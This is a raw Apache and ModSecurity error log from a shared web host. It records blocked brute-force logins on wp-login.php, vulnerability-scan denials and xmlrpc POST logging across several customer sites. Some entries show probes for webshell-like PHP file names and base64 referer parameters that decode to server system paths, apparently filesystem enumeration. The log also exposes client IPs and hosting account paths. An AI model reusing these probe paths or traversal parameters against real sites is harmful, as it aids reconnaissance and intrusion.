"/viewtopic.php"] [unique_id "ai3xRimiP80klyS0NnrzuQABIFU"] [Sat Jun 13 18:09:42.397502 2026] [security2:error] [pid 531797:tid 532085] [client 129.227.46.150:51642] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.46.227.129.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hannahjune.com"] [uri "/wp-login.php"] [unique_id "ai3xRsTA7b1mZrmcA-8czAAAAms"] [Sat Jun 13 18:09:42.440230 2026] [access_compat:error] [pid 531797:tid 531883] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3J1bg== [Sat Jun 13 18:09:42.440559 2026] [access_compat:error] [pid 531797:tid 531883] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3J1bg== [Sat Jun 13 18:09:42.503346 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ni9wb3dlcg== [Sat Jun 13 18:09:42.503797 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Ni9wb3dlcg== [Sat Jun 13 18:09:42.582726 2026] [security2:error] [pid 531797:tid 531975] [remote 17.241.227.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xRsTA7b1mZrmcA-8c1AACXW4"] [Sat Jun 13 18:09:42.621425 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.69:52344] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:42.621733 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.69:52344] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:42.675391 2026] [security2:error] [pid 531155:tid 531246] [remote 172.194.139.254:20384] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.139.194.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai3xRimiP80klyS0NnrzwgABdFo"] [Sat Jun 13 18:09:42.892047 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9kbmYvcGx1Z2lucw== [Sat Jun 13 18:09:42.892334 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9kbmYvcGx1Z2lucw== [Sat Jun 13 18:09:42.915696 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.24:55390] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:42.916123 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.24:55390] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:42.931431 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjEx [Sat Jun 13 18:09:42.931722 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjEx [Sat Jun 13 18:09:43.026678 2026] [security2:error] [pid 531797:tid 531905] [remote 17.22.237.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xR8TA7b1mZrmcA-8c6wACJCk"] [Sat Jun 13 18:09:43.078391 2026] [security2:error] [pid 531797:tid 532027] [client 189.217.192.30:49630] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3xRsTA7b1mZrmcA-8c3AAAAjM"] [Sat Jun 13 18:09:43.249816 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.83:31824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:43.250260 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.83:31824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:43.363113 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:09:43.363589 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:09:43.376537 2026] [security2:error] [pid 531155:tid 531190] [remote 172.194.139.254:20384] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.139.194.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai3xRymiP80klyS0Nnrz0wABDiI"], referer: https://mrbradgoreski.com/wp-login.php [Sat Jun 13 18:09:43.422263 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvYmlu [Sat Jun 13 18:09:43.422541 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvYmlu [Sat Jun 13 18:09:43.438480 2026] [security2:error] [pid 531797:tid 532040] [client 20.151.217.54:40237] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/loxico93.php"] [unique_id "ai3xR8TA7b1mZrmcA-8c_AAAAj8"] [Sat Jun 13 18:09:43.438480 2026] [security2:error] [pid 531155:tid 531237] [remote 17.246.15.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xRymiP80klyS0Nnrz1AABUFE"] [Sat Jun 13 18:09:43.446254 2026] [security2:error] [pid 531155:tid 531173] [remote 17.241.75.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xRymiP80klyS0Nnrz1QABexE"] [Sat Jun 13 18:09:43.503024 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:43.503315 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:43.539816 2026] [access_compat:error] [pid 531797:tid 531919] [remote 57.141.14.51:56184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:43.540134 2026] [access_compat:error] [pid 531797:tid 531919] [remote 57.141.14.51:56184] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:43.748282 2026] [security2:error] [pid 531797:tid 531881] [remote 109.123.245.70:56054] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "refrigeratedrentalsolutions.com.au"] [uri "/wp-login.php"] [unique_id "ai3xR8TA7b1mZrmcA-8dDQACkBE"] [Sat Jun 13 18:09:43.770951 2026] [security2:error] [pid 531797:tid 532063] [client 191.233.234.186:60625] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xR8TA7b1mZrmcA-8dDwAAAlU"] [Sat Jun 13 18:09:43.929750 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.103:56602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:43.930032 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.103:56602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:43.931405 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:09:43.931851 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9kb2M= [Sat Jun 13 18:09:43.996275 2026] [security2:error] [pid 531797:tid 532081] [client 20.151.217.54:40148] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/momo.php"] [unique_id "ai3xR8TA7b1mZrmcA-8dFQAAAmc"] [Sat Jun 13 18:09:44.004317 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:44.004625 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:44.067079 2026] [security2:error] [pid 531797:tid 531946] [remote 17.22.237.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xSMTA7b1mZrmcA-8dGgACPVI"] [Sat Jun 13 18:09:44.194224 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.41:27805] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:44.194516 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.41:27805] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:44.347725 2026] [security2:error] [pid 531797:tid 531866] [remote 17.22.253.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xSMTA7b1mZrmcA-8dJQACQQI"] [Sat Jun 13 18:09:44.422776 2026] [security2:error] [pid 531797:tid 531992] [remote 109.123.245.70:56054] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "refrigeratedrentalsolutions.com.au"] [uri "/wp-login.php"] [unique_id "ai3xSMTA7b1mZrmcA-8dKQACI38"], referer: https://refrigeratedrentalsolutions.com.au/wp-login.php [Sat Jun 13 18:09:44.450544 2026] [access_compat:error] [pid 531797:tid 531909] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:09:44.450940 2026] [access_compat:error] [pid 531797:tid 531909] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:09:44.523175 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:09:44.523622 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:09:44.580192 2026] [security2:error] [pid 531155:tid 531251] [remote 17.241.219.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xSCmiP80klyS0Nnrz5wABXV8"] [Sat Jun 13 18:09:44.649216 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.90:56870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:44.649676 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.90:56870] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:44.695779 2026] [security2:error] [pid 531797:tid 532037] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vprintf_variation18.phpt"] [unique_id "ai3xSMTA7b1mZrmcA-8dOQAAAjw"] [Sat Jun 13 18:09:44.806962 2026] [access_compat:error] [pid 531797:tid 531928] [remote 57.141.14.82:59250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:44.807447 2026] [access_compat:error] [pid 531797:tid 531928] [remote 57.141.14.82:59250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:44.879862 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.39:64622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:44.880133 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.39:64622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:44.885756 2026] [security2:error] [pid 531155:tid 531371] [client 191.234.188.123:48019] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-conflg.php"] [unique_id "ai3xSCmiP80klyS0Nnrz6gAAAWA"] [Sat Jun 13 18:09:44.972180 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 